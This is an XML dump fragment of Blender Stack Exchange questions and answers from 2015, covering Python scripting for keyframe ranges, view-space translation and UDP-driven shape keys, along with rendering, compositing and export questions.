LastActivityDate="2015-03-31T20:23:07.977" Title="Number of bounces does not reduce the time of rendering on GPU" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-03-31T21:57:50.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="27945" PostTypeId="1" AcceptedAnswerId="27963" CreationDate="2015-03-31T21:06:54.313" Score="2" ViewCount="293" Body="&lt;p&gt;I want to translate some vertices in X axis with constraint_orientation=&quot;VIEW&quot; but I dont' know how calc the values??...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;next code should work but  I don´t know how calc the value in this parameters&#xA;    values = (??????)(as vector)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.translate(value=values, constraint_axis=(True, False, False), constraint_orientation=&quot;VIEW&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also I tried with bmesh but then I have a lot of parameters with less values&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-04-01T14:02:50.843" Title="How calc value of translate with constraint_orientation=&quot;VIEW&quot;?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;bmesh&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27946" PostTypeId="2" ParentId="27889" CreationDate="2015-03-31T21:42:32.393" Score="12" Body="&lt;p&gt;If the &lt;strong&gt;duration of the scene is known&lt;/strong&gt;, simply use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75a_release/bpy.types.Scene.html?highlight=frame_end&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.frame_end&lt;/code&gt;&lt;/a&gt; and assign a &lt;em&gt;custom duration value&lt;/em&gt; to it - this will overwrite the current &lt;strong&gt;playback/rendering range&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# get the current scene&#xA;scn = bpy.context.scene &#xA;&#xA;# assign new duration value&#xA;scn.frame_end = 880&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In order to &lt;strong&gt;adjust the scene duration dynamically (based on the included animations)&lt;/strong&gt; you'll need to iterate through all the relevant objects in the scene  and read their keyframes by using either &lt;em&gt;Animation Data&lt;/em&gt; or &lt;em&gt;Actions&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Keyframes via Animation Data&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.Object.html?highlight=animation%20data#bpy.types.Object.animation_data&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;animation_data&lt;/code&gt;&lt;/a&gt; to get the &lt;strong&gt;keyframes&lt;/strong&gt; of an object. Following example reads the keyframes of the selected objects and prints the &lt;strong&gt;first and the last keyframe&lt;/strong&gt; to the console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;# get keyframes of object list&#xA;def get_keyframes(obj_list):&#xA;    keyframes = []&#xA;    for obj in obj_list:&#xA;        anim = obj.animation_data&#xA;        if anim is not None and anim.action is not None:&#xA;            for fcu in anim.action.fcurves:&#xA;                for keyframe in fcu.keyframe_points:&#xA;                    x, y = keyframe.co&#xA;                    if x not in keyframes:&#xA;                        keyframes.append((math.ceil(x)))&#xA;    return keyframes&#xA;&#xA;# get all selected objects&#xA;selection = bpy.context.selected_objects&#xA;&#xA;# check if selection is not empty&#xA;if selection:&#xA;&#xA;    # get all frames with assigned keyframes&#xA;    keys = get_keyframes(selection)&#xA;&#xA;    # print all keyframes&#xA;    print (keys)   &#xA;&#xA;    # print first and last keyframe&#xA;    print (&quot;{} {}&quot;.format(&quot;first keyframe:&quot;, keys[0]))&#xA;    print (&quot;{} {}&quot;.format(&quot;last keyframe:&quot;, keys[-1]))&#xA;&#xA;else:&#xA;    print ('nothing selected')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Keyframes via Actions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;bpy.data.actions&lt;/code&gt; to get a list of &lt;strong&gt;actions&lt;/strong&gt; in the scene, but actions are not associated with objects, scenes or nodes. Following example reads the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Action.html?highlight=frame_range#bpy.types.Action.frame_range&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;frame range&lt;/strong&gt;&lt;/a&gt; of all F-Curves within the actions of the file and prints the &lt;strong&gt;first and the last keyframe&lt;/strong&gt; to the console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# check if actions is empty&#xA;if bpy.data.actions:&#xA;&#xA;    # get all actions&#xA;    action_list = [action.frame_range for action in bpy.data.actions]&#xA;&#xA;    # sort, remove doubles and create a set&#xA;    keys = (sorted(set([item for sublist in action_list for item in sublist])))&#xA;&#xA;    # print all keyframes&#xA;    print (keys)&#xA;&#xA;    # print first and last keyframe&#xA;    print (&quot;{} {}&quot;.format(&quot;first keyframe:&quot;, keys[0]))&#xA;    print (&quot;{} {}&quot;.format(&quot;last keyframe:&quot;, keys[-1]))&#xA;&#xA;else:&#xA;    print (&quot;no actions&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Test scene&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/okGnJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Console Output of both methods:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[1, 5, 7, 18, 21, 30, 47, 49, 67, 69, 75, 84, 100]&#xA;first keyframe: 1&#xA;last keyframe: 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speed comparison&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Animation Data&lt;/em&gt; method takes &lt;strong&gt;0.000446319580078125&lt;/strong&gt; sec.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Action&lt;/em&gt; method takes &lt;strong&gt;0.00011038780212402344&lt;/strong&gt; sec.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Adjusting the timeline&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As mentioned above, in order to set the beginning and end of the scene, you can assign the calculated values to &lt;code&gt;bpy.context.scene.frame_start&lt;/code&gt; and &lt;code&gt;bpy.context.scene.frame_end&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get the current scene&#xA;scn = bpy.context.scene &#xA;&#xA;# assign new starting frame&#xA;scn.frame_start = keys[0]&#xA;&#xA;# assign new end frame&#xA;scn.frame_end = keys[-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TusMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Final Note&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;It really depends on what you want to achieve. Using &lt;code&gt;animation_data&lt;/code&gt; is slower, but using &lt;code&gt;action.frame_range&lt;/code&gt; can be dangerous, because if you have to delete an object during the process, the actions of the objects remain until the blend file is saved again. See: &lt;a href=&quot;https://blender.stackexchange.com/a/27235/3710&quot;&gt;https://blender.stackexchange.com/a/27235/3710&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-01-13T11:08:34.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27947" PostTypeId="1" CreationDate="2015-03-31T23:43:45.760" Score="10" ViewCount="6356" Body="&lt;p&gt;I was looking at this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6763/what-do-the-preferences-keyframing-options-actually-mean/6774#6774&quot;&gt;What do the preferences keyframing options actually mean?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still can't figure out what the difference is between a visual LocRotScale, and just a normal LocRotScale.  An in depth explanation would be nice.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-01T11:29:11.500" Title="Difference between visual and normal keyframes" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27949" PostTypeId="1" CreationDate="2015-03-31T23:56:52.143" Score="0" ViewCount="140" Body="&lt;p&gt;I have some data that I want to use Blender to render. They are a bunch of X,Y,Z coordinates. I run a tesselation algorithm (in Matlab) to generate triangular faces. I pass this info to BPY and render the image (shown below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are my images looking poor because&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) it is incorrect rendering&#xA;b) poor meshing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on generating a better mesh or rendering would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKkIv.png&quot; alt=&quot;Rendered Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IrnjE.jpg&quot; alt=&quot;Mesh in Blender&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8425" LastActivityDate="2015-03-31T23:56:52.143" Title="Poor rendering -- is it because of bad meshing or Blender?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;mesh&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27950" PostTypeId="1" CreationDate="2015-04-01T00:15:26.950" Score="4" ViewCount="2708" Body="&lt;p&gt;I'm new to Blender and am trying to export a mesh that I've manipulated with an armature, as an STL file. It will export as stl in the 'rest' position, but when I pose it, then export as STL, then try to open STL file in other software, there is nothing. Is it possible to do this, or will it only export in the rest position?&lt;/p&gt;&#xA;" OwnerUserId="13540" LastActivityDate="2015-10-05T21:52:36.083" Title="How to export a 'posed' mesh as an STL file" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27951" PostTypeId="1" CreationDate="2015-04-01T00:51:31.440" Score="1" ViewCount="7299" Body="&lt;p&gt;I am having problems with my particle system. It just doesn't appear to render but works in the 3D view. I will try to provide as much detail as I can.&#xA;The object that is being duplicated for the particle system does not have it's renderable turned off, neither do any of it's parents. I'm using 2.73. Here is the particle system's settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Emission:&lt;/strong&gt;&lt;br&gt;&#xA;Number: 200&lt;br&gt;&#xA;Start: 0&lt;br&gt;&#xA;End: 360&lt;br&gt;&#xA;Lifetime: 15&lt;br&gt;&#xA;Random: .3&lt;br&gt;&#xA;Emit from: faces&lt;br&gt;&#xA;Random: true&lt;br&gt;&#xA;Even distribution: false&lt;br&gt;&#xA;Enumeration parameter that doesn't have a name: random&lt;br&gt;&#xA;Use modifier stack  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cache:&lt;/strong&gt;&lt;br&gt;&#xA;all the default settings  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Velocity:&lt;/strong&gt;&lt;br&gt;&#xA;Normal: 1&lt;br&gt;&#xA;Tangent: 0&lt;br&gt;&#xA;Rot: 0&lt;br&gt;&#xA;Emitter object: 0, 0, 0&lt;br&gt;&#xA;Object: 0&lt;br&gt;&#xA;Random: 0  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rotation:&lt;/strong&gt;&lt;br&gt;&#xA;false  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Physics:&lt;/strong&gt;&lt;br&gt;&#xA;Newtonain&lt;br&gt;&#xA;Size: 1&lt;br&gt;&#xA;Random size: .05&lt;br&gt;&#xA;Mass: 1&lt;br&gt;&#xA;Multiply mass by particle size: false&lt;br&gt;&#xA;Brownian: 0&lt;br&gt;&#xA;Integration: Midpoint&lt;br&gt;&#xA;Drag: 0&lt;br&gt;&#xA;Timestep: .04&lt;br&gt;&#xA;Damp: 0&lt;br&gt;&#xA;Subframes: 0&lt;br&gt;&#xA;Size deflect: false&lt;br&gt;&#xA;Die on hit: false  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Render:&lt;/strong&gt;&lt;br&gt;&#xA;Emitter: true&lt;br&gt;&#xA;Unborn: false&lt;br&gt;&#xA;Parents: true&lt;br&gt;&#xA;Died: false&lt;br&gt;&#xA;Object&lt;br&gt;&#xA;Duplicate object: anobject&lt;br&gt;&#xA;Global: true&lt;br&gt;&#xA;Rotation: true&lt;br&gt;&#xA;Scale: true&lt;br&gt;&#xA;Size: 1&lt;br&gt;&#xA;Random Size: .05  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Display:&lt;/strong&gt;&lt;br&gt;&#xA;Rendered&lt;br&gt;&#xA;Display: 100%&lt;br&gt;&#xA;Size: true&lt;br&gt;&#xA;Velocity: true&lt;br&gt;&#xA;number: true&lt;br&gt;&#xA;Color: material  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Children:&lt;/strong&gt;&lt;br&gt;&#xA;none  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Field weights:&lt;/strong&gt;&lt;br&gt;&#xA;all on default  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Force field settings:&lt;/strong&gt;&lt;br&gt;&#xA;all on default  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vertex groups:&lt;/strong&gt;&lt;br&gt;&#xA;all on default&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lK5Pu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lK5Pu.png&quot; alt=&quot;object in the outliner&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="2217" LastEditDate="2017-07-02T13:17:50.083" LastActivityDate="2017-07-02T13:17:50.083" Title="Particles don't render" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="6" ClosedDate="2015-04-17T01:21:29.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="27953" PostTypeId="1" CreationDate="2015-04-01T06:29:42.763" Score="5" ViewCount="1463" Body="&lt;p&gt;I have an image sequence that I rendered out that contains a smoke simulation and I am trying to overlay the sequence onto a video.  The background is rendered transparent to PNG's but using the compositer, I cannot figure out how to mix them properly.  I have tried just using a mix node with the two input and the alpha as the factor but to no use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VzTuK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13546" LastEditorUserId="3710" LastEditDate="2015-04-01T11:42:06.980" LastActivityDate="2015-04-01T11:42:06.980" Title="Overlay image sequence onto a video?" Tags="&lt;animation&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27954" PostTypeId="2" ParentId="27942" CreationDate="2015-04-01T08:09:33.950" Score="3" Body="&lt;p&gt;Answer is actually very simple: no. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afaik this is not even in our TODOs - we rather aim at creating custom spaces from py… But no ETA on that either.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-01T08:09:33.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27955" PostTypeId="1" CreationDate="2015-04-01T08:19:05.460" Score="2" ViewCount="737" Body="&lt;p&gt;It looks that I can not export roll setting from Blender to Unity, because it still has bad rotation. I tried different axis, different roll, blend file, fbx file. Nothing is working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is working good with generic animation, but with humanoid it is bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qfdpn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q6gwg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1910" LastActivityDate="2015-04-03T22:21:14.860" Title="Bad bone rotation in Unity humanoid" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27956" PostTypeId="2" ParentId="27953" CreationDate="2015-04-01T08:35:01.933" Score="6" Body="&lt;p&gt;Your image showed that the alpha was plugged into the image input while the image was plugged into the mix factor. So if there was no alpha you would be mixing with black. However to save re-rendering you could try using a lumakey node to remove the black background:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rq5gI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or use a simple mix effect, like &quot;screen&quot; or &quot;add&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/skmJe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-01T08:35:01.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27957" PostTypeId="1" CreationDate="2015-04-01T09:19:05.007" Score="1" ViewCount="81" Body="&lt;p&gt;This question is different as I seek to know a particular context of this subject i.e. wrt 3d printing. &lt;a href=&quot;https://i.stack.imgur.com/Ia9tv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ia9tv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is important for me to know what this means. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot; So, projection onto the first coordinate is a continuous, and invertible, mapping from the upper arc to the open interval (−1,1):&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it important ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like doing a self motivated research on this subject. Bump into a doubt and ask here for clarification. How else could I do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ref : &lt;a href=&quot;http://en.wikipedia.org/wiki/Manifold#Motivational_examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/Manifold#Motivational_examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2690" LastEditorUserId="2690" LastEditDate="2016-01-13T15:23:17.327" LastActivityDate="2016-01-13T15:23:17.327" Title="what does manifold mean in context of surface building" Tags="&lt;topology&gt;&lt;nurbs-surface&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-04-01T12:09:49.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="27958" PostTypeId="1" CreationDate="2015-04-01T09:46:20.817" Score="7" ViewCount="551" Body="&lt;p&gt;I started to get into Drives. I want one cube(green) to rotate 90° whenever the other cube(red) is doing it's last 90° turn on the way to the full 360°. Now i've come up with following Logic depending on the red cubes rotation(rot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[when sin(rot)&amp;lt;0 and cos(rot)&gt;0 add 90° to current rotation]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me the right way to a working expression?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKFFA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13504" LastActivityDate="2015-04-01T18:00:19.247" Title="Drive Objects Rotation depending on state of other objects sin and cos value" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27959" PostTypeId="1" AcceptedAnswerId="27960" CreationDate="2015-04-01T10:11:16.767" Score="6" ViewCount="1928" Body="&lt;p&gt;For a project I need to drive shape keys with data received via a network connection. In my setup I receive input form a TouchOSC app running on an iPad into PureData on a Mac. The input data then is processed and sent out over UDP to 127.0.0.1:13001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all working fine but now I need Blender to receive the packets, evaluate them and use the values to drive properties on objects. In my case I need to drive the value property of shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and if so, how can I approach this the best way?&lt;/p&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2015-04-01T10:57:07.737" Title="Controlling drivers with data received via TCP/UDP" Tags="&lt;python&gt;&lt;properties&gt;&lt;shape-keys&gt;&lt;network&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27960" PostTypeId="2" ParentId="27959" CreationDate="2015-04-01T10:57:07.737" Score="7" Body="&lt;p&gt;The basic idea is to open a socket, poll the data and apply the received values to the shape keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;&#xA;# open network socket&#xA;port = 13001&#xA;s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&#xA;s.bind((&quot;127.0.0.1&quot;, port))&#xA;print &quot;waiting on port:&quot;, port&#xA;&#xA;# poll data (could use a timer)&#xA;data, addr = s.recvfrom(1024) &#xA;print data&#xA;# set float value from data&#xA;# value convert from data&#xA;bpy.context.object.data.shape_keys.key_blocks['Key 1'].value = float(value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5358/mapping-an-algorithm-to-an-animation&quot;&gt;Mapping an algorithm to an animation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.binarytides.com/programming-udp-sockets-in-python/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.binarytides.com/programming-udp-sockets-in-python/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7885/how-to-run-a-python-script-at-regular-intervals/7887#7887&quot;&gt;How to run a python script at regular intervals?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-04-01T10:57:07.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27961" PostTypeId="2" ParentId="27947" CreationDate="2015-04-01T11:29:11.500" Score="15" Body="&lt;p&gt;The following cube has a limit location set to (0,0,0) when you move the cube its position in the viewport don't change while the location info in the transform panel shows this change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/huTZ1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the case for all constraints they won't change what is displayed on the properties panel while they change the visual properties ( loc, rot, scale)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yi2uX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;so you if you keyframe the location you'll store (1.938, 0.411, 1.286) for the current frame&lt;/li&gt;&#xA;&lt;li&gt;while if you keyframe the visual location you'll store (0, 0, 0)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-01T11:29:11.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27962" PostTypeId="2" ParentId="27920" CreationDate="2015-04-01T13:28:30.653" Score="5" Body="&lt;p&gt;It seems to me you marked freestyle edges, not faces. The green lines are the edge marks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clear the marks go to &lt;code&gt;Edit Mode&lt;/code&gt;, press &lt;kbd&gt;A&lt;/kbd&gt; to select everything, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to bring up the Edges menu and select &lt;code&gt;Clear Freestyle Edge&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WirKd.png&quot; alt=&quot;Clear Freestyle Edge&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13552" LastActivityDate="2015-04-01T13:28:30.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27963" PostTypeId="2" ParentId="27945" CreationDate="2015-04-01T13:34:42.753" Score="2" Body="&lt;p&gt;To calculate the &lt;code&gt;values&lt;/code&gt; you convert the original value using the orientation matrix to the world space  :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;values = intended_value * Orientation_matrix&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the script this would be ( moving 1 unit on the X-axis of the view ) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        viewport = area.regions[4]&#xA;        v_m = area.spaces[0].region_3d.view_matrix  #orientation matrix&#xA;        #vector conversion from view space to world space&#xA;        values = Vector((1,0,0))*v_m&#xA;        #the translation is done in global orientation without any constraints&#xA;        bpy.ops.transform.translate(value=values)&#xA;        #bpy.context.object.location += values   #another way to translate&#xA;        print(values)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for &lt;strong&gt;&lt;em&gt;bmesh&lt;/em&gt;&lt;/strong&gt; operator (the calculation is done inside the operator ) you pass the translation vector and the matrix of the space used for this translation :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import *&#xA;&#xA;#get the view matrix&#xA;v_m = None&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        viewport = area.regions[4]&#xA;        v_m = area.spaces[0].region_3d.view_matrix&#xA;&#xA;#create a bmesh&#xA;obj = bpy.context.active_object&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bm = bmesh.new()&#xA;bm.from_mesh(obj.data)&#xA;&#xA;#translation&#xA;vec = Vector((1,0,0)) #one unit on the X-axis &#xA;all_verts = bm.verts  #the vertices to be translated&#xA;bmesh.ops.translate(bm, vec =(1,0,0), space = v_m, verts = all_verts)&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;bm.to_mesh(obj.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-01T14:02:50.843" LastActivityDate="2015-04-01T14:02:50.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27964" PostTypeId="1" AcceptedAnswerId="28150" CreationDate="2015-04-01T14:30:29.283" Score="4" ViewCount="3433" Body="&lt;p&gt;I just need help to make my scene look like the scene in DYING LIGHT Game at least similar. the wear-and-tear look is somewhat missing, I'm a beginner in blender so i really don't know how to achieve this look, not really sure if its texture painting etc.i circled it red.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blood stains&lt;/li&gt;&#xA;&lt;li&gt;crack in the wall&lt;/li&gt;&#xA;&lt;li&gt;tear in the sofa&lt;/li&gt;&#xA;&lt;li&gt;bulb wires and ivy (kindly disregard this, i'll search for this in YouTube instead but if you know one kindly pass on the link)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Thank you so much&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xElJT.jpg&quot; alt=&quot;Dying light&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="11375" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-06T08:49:00.387" Title="How to add Wear &amp; Tear effect in a Texture" Tags="&lt;texturing&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
